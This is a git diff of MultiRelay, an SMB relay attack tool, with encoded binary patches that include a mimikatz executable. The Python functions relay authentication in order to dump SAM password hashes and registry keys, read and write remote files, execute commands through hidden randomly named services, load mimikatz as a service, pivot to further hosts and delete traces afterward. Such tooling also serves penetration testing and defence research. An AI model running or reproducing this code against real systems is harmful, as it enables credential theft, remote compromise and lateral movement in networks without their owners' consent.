#We should be all good here. data,s,f = BindCall("\x01\xd0\x8c\x33\x44\x22\xf1\x31\xaa\xaa\x90\x00\x38\x00\x10\x03", "\x01\x00", "\\winreg", data, s) @@ -1112,26 +1721,26 @@ def DumpHashes(data, s, Host): RandomFile = ''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(6)])+'.tmp' data,s,f = SaveKeyToFile("C:\\Windows\\Temp\\"+RandomFile, "SAM", handler, f, data, s) data,s = CloseFID(f, data, s) - data,s,f = SMBOpenFile("\\Windows\\Temp\\"+RandomFile, "C", Host[0], RW, data, s) + data,s,f = SMBOpenFile("\\Windows\\Temp\\"+RandomFile, "C", Host, RW, data, s) data,s,Output = ReadAndDelete(f, "\\Windows\\Temp\\"+RandomFile, data, s) #If the service was stopped before we came... if stopped: - data,s = SMBOpenPipe(Host[0], data, s)#Get a new IPC$ TID. + data,s = SMBOpenPipe(Host, data, s)#Get a new IPC$ TID. data,s,f = BindCall("\x81\xbb\x7a\x36\x44\x98\xf1\x35\xad\x32\x98\xf0\x38\x00\x10\x03", "\x02\x00", "\\svcctl", data, s) - data,s,f = StopWinregService(f, Host[0], data, s) + data,s,f = StopWinregService(f, Host, data, s) data,s = CloseFID(f, data,s) data = ModifySMBRetCode(data) #After everything has been cleaned up, we write to file and call creddump - WriteOutputToFile(Output, "./Sam-"+Host[0]+".tmp") + WriteOutputToFile(Output, "./Sam-"+Host+".tmp") try: - Hashes = dump_file_hashes(BootKey, SaveSam_Path+"./Sam-"+Host[0]+".tmp") - WriteOutputToFile(Hashes, "./Hash-Dump-"+Host[0]+".txt") + Hashes = dump_file_hashes(BootKey, SaveSam_Path+"./Sam-"+Host+".tmp") + WriteOutputToFile(Hashes, "./Hash-Dump-"+Host+".txt") except: print "[+] Live dump failed, is python-crypto installed? " pass - print "[+] The SAM file was saved in: ./relay-dumps/Sam-"+Host[0]+".tmp and the hashes in ./relay-dumps/Hash-Dumped-"+Host[0]+".txt" + print "[+] The SAM file was saved in: ./relay-dumps/Sam-"+Host+".tmp and the hashes in ./relay-dumps/Hash-Dumped-"+Host+".txt" return data except: @@ -1159,7 +1768,7 @@ def SaveAKey(data, s, Host, Key): if f == "ServiceNotFound": stopped = True data,s,f = BindCall("\x81\xbb\x7a\x36\x44\x98\xf1\x35\xad\x32\x98\xf0\x38\x00\x10\x03", "\x02\x00", "\\svcctl", data, s) - data,s,f = StartWinregService(f, Host[0], data, s) + data,s,f = StartWinregService(f, Host, data, s) data,s = CloseFID(f, data,s) #We should be all good here. data,s,f = BindCall("\x01\xd0\x8c\x33\x44\x22\xf1\x31\xaa\xaa\x90\x00\x38\x00\x10\x03", "\x01\x00", "\\winreg", data, s) @@ -1177,20 +1786,20 @@ def SaveAKey(data, s, Host, Key): print "[+] Something went wrong, try something else." return ModifySMBRetCode(data) data,s = CloseFID(f, data, s) - data,s,f = SMBOpenFile("\\Windows\\Temp\\"+Key+".tmp", "C", Host[0], RW, data, s) + data,s,f = SMBOpenFile("\\Windows\\Temp\\"+Key+".tmp", "C", Host, RW, data, s) data,s,Output = ReadAndDelete(f, "\\Windows\\Temp\\"+Key+".tmp", data, s) #If the service was stopped before we came... if stopped: - data,s = SMBOpenPipe(Host[0], data, s)#Get a new IPC$ TID. + data,s = SMBOpenPipe(Host, data, s)#Get a new IPC$ TID. data,s,f = BindCall("\x81\xbb\x7a\x36\x44\x98\xf1\x35\xad\x32\x98\xf0\x38\x00\x10\x03", "\x02\x00", "\\svcctl", data, s) - data,s,f = StopWinregService(f, Host[0], data, s) + data,s,f = StopWinregService(f, Host, data, s) data,s = CloseFID(f, data,s) data = ModifySMBRetCode(data) #After everything has been cleaned up, we write the output to a file. - WriteOutputToFile(Output, Host[0]+"-"+Key+".tmp") - print "[+] The "+Key+" key and its subkeys were saved in: ./relay-dumps/"+Host[0]+"-"+Key+".tmp" + WriteOutputToFile(Output, Host+"-"+Key+".tmp") + print "[+] The "+Key+" key and its subkeys were saved in: ./relay-dumps/"+Host+"-"+Key+".tmp" return data except: @@ -1202,7 +1811,7 @@ def SaveAKey(data, s, Host, Key): def ReadFile(data, s, File, Host): try: File = File.replace("/","\\") - data,s,f = SMBOpenFile(File, "C", Host[0], READ, data, s) + data,s,f = SMBOpenFile(File, "C", Host, READ, data, s) data,s,Output = GrabAndRead(f, File, data, s) print Output return ModifySMBRetCode(data) ##Command was successful, ret true. @@ -1214,9 +1823,9 @@ def ReadFile(data, s, File, Host): def GetAfFile(data, s, File, Host): try: File = File.replace("/","\\") - data,s,f = SMBOpenFile(File, "C", Host[0], READ, data, s) + data,s,f = SMBOpenFile(File, "C", Host, READ, data, s) data,s,Output = GrabAndRead(f, File, data, s) - WriteOutputToFile(Output, Host[0]+"-"+File) + WriteOutputToFile(Output, Host+"-"+File) print "[+] Done." return ModifySMBRetCode(data) ##Command was successful, ret true. @@ -1224,16 +1833,166 @@ def GetAfFile(data, s, File, Host): print "[+] Get file failed. Remote filename was typed correctly?" return ModifySMBRetCode(data) ##Don't ditch the connection because something went wrong. +##########UploadAFile############# +def WriteFile(data, s, File, FileSize, FileContent, Host): + try: + File = File.replace("/","\\") + data,s,f = SMBOpenFileForWriting(File, FileSize, FileContent, "C", Host, RW, data, s) + data,s = UploadAndWrite(f, FileSize, FileContent, data, s) + return ModifySMBRetCode(data) ##Command was successful, ret true. + + except: + print "[+] Write failed." + return ModifySMBRetCode(data) ##Don't ditch the connection because something went wrong. + +##########DeleteAFile############ +def DeleteFile(data, s, File, Host): + try: + File = File.replace("/","\\") + data,s = DeleteAFile(File, data, s, Host) + data,s = CloseTID(data, s) + return ModifySMBRetCode(data) ##Command was successful, ret true. + except: + print "[+] Delete operation failed.\n[+] Something went wrong." + data,s = CloseTID(data, s) + return ModifySMBRetCode(data) ##Don't ditch the connection because something went wrong. + ##########Psexec############# -def RunCmd(data, s, clientIP, Username, Domain, Command, Logs, Host): +def RunCmd(data, s, clientIP, Username, Domain, Command, Logs, Host, RunPath, FileName): try: - data,s,f = BindCall("\x81\xbb\x7a\x36\x44\x98\xf1\x35\xad\x32\x98\xf0\x38\x00\x10\x03", "\x02\x00", "\\svcctl", data, s) - data,s,f = CreateService(Command, f, Host[0], data, s) - data,s = CloseFID(f, data,s) - data,s,f = SMBOpenFile("\\Windows\\Temp\\Results.txt", "C", Host[0], RW, data, s) - data,s,Output = ReadAndDelete(f, "\\Windows\\Temp\\Results.txt", data, s) + RandomFName = GenerateRandomFileName() + WinTmpPath = "%windir%\\Temp\\"+RandomFName+".txt" + LogFile = "\\Windows\\Temp\\"+RandomFName+".txt" + Command = RunPath+" \""+Command+"\" \""+WinTmpPath+"\"" + ServiceNameChars = GenerateServiceName() + ServiceIDChars = GenerateServiceID() + + data,s = SMBOpenPipe(Host, data, s) + data,s,f = BindCall("\x81\xbb\x7a\x36\x44\x98\xf1\x35\xad\x32\x98\xf0\x38\x00\x10\x03", "\x02\x00", "\\svcctl", data, s) + data,s,f = CreateService(Command, ServiceNameChars, ServiceIDChars, f, Host, data, s) + data,s = CloseFID(f, data,s) + time.sleep(1) + data,s,f = SMBOpenFile(LogFile, "C", Host, RW, data, s) + data,s,Output = ReadAndDelete(f, LogFile, data, s) print Output + data = DeleteFile(data, s, "\\Windows\\Temp\\"+FileName, Host) + + Logs.info('Command executed:') + Logs.info(clientIP+","+Username+','+Command) + + return data + + except: + #Don't loose this connection because something went wrong, it's a good one. Commands might fail, while hashdump works. + print "[+] Something went wrong, try something else." + return ModifySMBRetCode(data) + +##########Runas############# +def RunAsCmd(data, s, clientIP, Username, Domain, Command, Logs, Host, FileName): + + try: + Command = Command.replace('"', '\'') + RandomFName = GenerateRandomFileName() + WinTmpPath = "%windir%\\Temp\\"+RandomFName+".txt" + LogFile = "\\Windows\\Temp\\"+RandomFName+".txt" + Command = "%windir%\\Temp\\"+FileName+" \""+Command+"\" \""+WinTmpPath+"\"" + ServiceNameChars = GenerateServiceName() + ServiceIDChars = GenerateServiceID() + + data,s = SMBOpenPipe(Host, data, s) + data,s,f = BindCall("\x81\xbb\x7a\x36\x44\x98\xf1\x35\xad\x32\x98\xf0\x38\x00\x10\x03", "\x02\x00", "\\svcctl", data, s) + data,s,f = CreateService(Command, ServiceNameChars, ServiceIDChars, f, Host, data, s) + data,s = CloseFID(f, data,s) + time.sleep(1) + data,s,f = SMBOpenFile( LogFile, "C", Host, RW, data, s) + data,s,Output = ReadAndDelete(f, LogFile, data, s) + print Output + data = DeleteFile(data, s, "\\Windows\\Temp\\"+FileName, Host) + + Logs.info('Command executed:') + Logs.info(clientIP+","+Username+','+Command) + return data + + except: + data = DeleteFile(data, s, "\\Windows\\Temp\\"+FileName, Host) + #Don't loose this connection because something went wrong, it's a good one. Commands might fail, while hashdump works. + print "[+] Something went wrong, try something else." + return ModifySMBRetCode(data) + +##########MimiKatz RPC############# +def InstallMimiKatz(data, s, clientIP, Username, Domain, Command, Logs, Host, FileName): + global MimiKatzSVCID + global MimiKatzSVCName + try: + RandomFName = GenerateRandomFileName() + WinTmpPath = "%windir%\\Temp\\"+RandomFName+".txt" + #Install mimikatz as a service. + Command = "c:\\Windows\\Temp\\"+FileName+" \"rpc::server /protseq:ncacn_np /endpoint:\pipe\wtf /noreg\" service::me exit" + MimiKatzSVCName = GenerateServiceName() + MimiKatzSVCID = GenerateServiceID() + + data,s = SMBOpenPipe(Host, data, s) + data,s,f = BindCall("\x81\xbb\x7a\x36\x44\x98\xf1\x35\xad\x32\x98\xf0\x38\x00\x10\x03", "\x02\x00", "\\svcctl", data, s) + data,s,f = CreateMimikatzService(Command, MimiKatzSVCName, MimiKatzSVCID, f, Host, data, s) + data,s = CloseFID(f, data,s) + + Logs.info('Command executed:') + Logs.info(clientIP+","+Username+','+Command) + + return data + + except: + #Don't loose this connection because something went wrong, it's a good one. Commands might fail, while hashdump works. + print "[+] Something went wrong, try something else." + return ModifySMBRetCode(data) + +def RunMimiCmd(data, s, clientIP, Username, Domain, Command, Logs, Host, FileName): + try: + InstallMimiKatz(data, s, clientIP, Username, Domain, Command, Logs, Host, FileName) + data,s = SMBOpenPipe(Host, data, s) + ##Wait for the pipe to come up.. + time.sleep(1) + data,s,f = BindCall("\xe9\x11\xfc\x17\x58\xc2\x8d\x4b\x8d\x07\x2f\x41\x25\x15\x62\x44", "\x01\x00", "\\wtf", data, s) + data,s,f = MimiKatzRPC(Command, f, Host, data, s) + data,s = SMBDCERPCCloseFID(f, data,s) + ##### + #Kill the SVC now... Never know when the user will leave, so lets not leave anything on the target. + data,s = SMBOpenPipe(Host, data, s) + data,s,f = BindCall("\x81\xbb\x7a\x36\x44\x98\xf1\x35\xad\x32\x98\xf0\x38\x00\x10\x03", "\x02\x00", "\\svcctl", data, s) + data,s,f = StopAndDeleteService(Command, MimiKatzSVCName, MimiKatzSVCID, f, Host, data, s) + data,s = CloseFID(f, data,s) + #Short sleep, to make sure the service had the time needed to stop before deleting mimikatz + time.sleep(0.5) + data = DeleteFile(data, s, "\\Windows\\Temp\\"+FileName, Host) + + Logs.info('Command executed:') + Logs.info(clientIP+","+Username+','+Command) + + return ModifySMBRetCode(data) + except: + #Don't loose this connection because something went wrong, it's a good one. Commands might fail, while hashdump works. + print "[+] Something went wrong while calling mimikatz. Did you run install mimi before launching this command?" + return ModifySMBRetCode(data) + +##########Pivot############# +def PivotToOtherHost(data, s, clientIP, Username, Domain, Logs, Host, RunAsPath, RunAsFileName): + + try: + LocalIp = FindLocalIp() + WinTmpPath = "%windir%\\Temp\\log.txt" + Command = RunAsPath+" \"net view \\\\"+LocalIp+"\" \""+WinTmpPath+"\"" + ServiceNameChars = GenerateServiceName() + ServiceIDChars = GenerateServiceID() + + data,s = SMBOpenPipe(Host, data, s) + data,s,f = BindCall("\x81\xbb\x7a\x36\x44\x98\xf1\x35\xad\x32\x98\xf0\x38\x00\x10\x03", "\x02\x00", "\\svcctl", data, s) + data,s,f = CreateService(Command, ServiceNameChars, ServiceIDChars, f, Host, data, s) + data,s = CloseFID(f, data,s) + + ## We're leaving this host, clean it up.. + time.sleep(1.5) + data = DeleteFile(data, s, "\\Windows\\Temp\\"+RunAsFileName, Host) Logs.info('Command executed:') Logs.info(clientIP+","+Username+','+Command) return data @@ -1243,4 +2002,48 @@ def RunCmd(data, s, clientIP, Username, Domain, Command, Logs, Host): print "[+] Something went wrong, try something else." return ModifySMBRetCode(data) +##########VerifyPivot############# +def VerifyPivot(data, s, clientIP, Username, Domain, Pivot, Logs, Host, RunAsPath, RunAsFileName): + + try: + RandomFName = GenerateRandomFileName() + ServiceNameChars = GenerateServiceName() + ServiceIDChars = GenerateServiceID() + WinTmpPath = "%windir%\\Temp\\"+RandomFName+".txt" + LogFile = "\\Windows\\Temp\\"+RandomFName+".txt" + Command = RunAsPath+" \"dir \\\\"+Pivot+"\\C$\" \""+WinTmpPath+"\"" + + data,s = SMBOpenPipe(Host, data, s) + data,s,f = BindCall("\x81\xbb\x7a\x36\x44\x98\xf1\x35\xad\x32\x98\xf0\x38\x00\x10\x03", "\x02\x00", "\\svcctl", data, s) + data,s,f = CreateService(Command, ServiceNameChars, ServiceIDChars, f, Host, data, s) + data,s = CloseFID(f, data,s) + data,s,f = SMBOpenFile(LogFile, "C", Host, RW, data, s) + data,s,Output = ReadAndDelete(f, LogFile, data, s) + data = DeleteFile(data, s, "\\Windows\\Temp\\"+RunAsFileName, Host) + + Logs.info('Command executed:') + Logs.info(clientIP+","+Username+','+Command) + + if re.findall('Volume in drive', Output): + return True, data + else: + return False, data + + except: + #Don't loose this connection because something went wrong, it's a good one. Commands might fail, while hashdump works. + print "[+] Something went wrong, try something else." + return ModifySMBRetCode(data) + +##########DoSomethingDumb############# +def DumbSMBChain(data, s, Host): + try: + File = "/Windows/win.ini" + File = File.replace("/","\\") + data,s,f = SMBOpenFile(File, "C", Host, READ, data, s) + data,s,Output = GrabAndRead(f, File, data, s) + data, s = CloseTID(data, s) + return ModifySMBRetCode(data) ##Command was successful, ret true. + + except: + return ModifySMBRetCode(data) ##Don't ditch the connection because something went wrong. diff --git a/tools/MultiRelay/RelayMultiPackets.py b/tools/MultiRelay/RelayMultiPackets.py index cedcaaf..bba63a3 100644 --- a/tools/MultiRelay/RelayMultiPackets.py +++ b/tools/MultiRelay/RelayMultiPackets.py @@ -460,7 +460,42 @@ class SMBTreeConnectData(Packet): BccComplete = str(self.fields["Passwd"])+str(self.fields["Path"])+str(self.fields["PathTerminator"])+str(self.fields["Service"])+str(self.fields["Terminator"]) self.fields["Bcc"] = struct.pack(""+WinTmpPath+"&exit'" - BinDataLen = str(self.fields["BinCMD"]) + #Padding + if len(str(self.fields["BinCMD"]))%2==0: + self.fields["LoadOrderGroup"] = "\x00\x00\x00\x00" + else: + self.fields["LoadOrderGroup"] = "\x00\x00" + ## Calculate first self.fields["BinPathMaxCount"] = struct.pack("ud2d9 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 literal 0 HcmV?d00001 diff --git a/tools/MultiRelay/bin/mimikatz.exe b/tools/MultiRelay/bin/mimikatz.exe new file mode 100644 index 0000000000000000000000000000000000000000..3bdb7f99d33519c2ac7095d32fef48fdc674bf45 GIT binary patch literal 748032 zcmd?Se|S{I_4vQZE@6R$jmm0N&_&l81u->X6Bl%sY~U{0K-wTgMM*2tSWsiwU@TO@ z4VGoR?^bi|W7s_aA?O$20WQ)k8gx4B9es zWkGVw$muOtF9@}^UH8qluU`|o^6S@LdtEB@jjKX!?bn8`zBUw}))>0xx;a;kDJdBo zc1cg@`SsKrS3El+_rLYSOGb3?-umIR5tH?=HR5XhJA1?;eovhFW^PTv@K}65|Hi_`bIPA@%;Ar7nO3` zu9|-xi0>ZKeKq89-hJ9S>dnoHyLio#KY0d^l(+2hl)5)QqnCuxE7q)$}-@V+H7rzheN`Z*N+%miR3nrP{#J-kP=!-O4#-6z_iR$VDy?mx 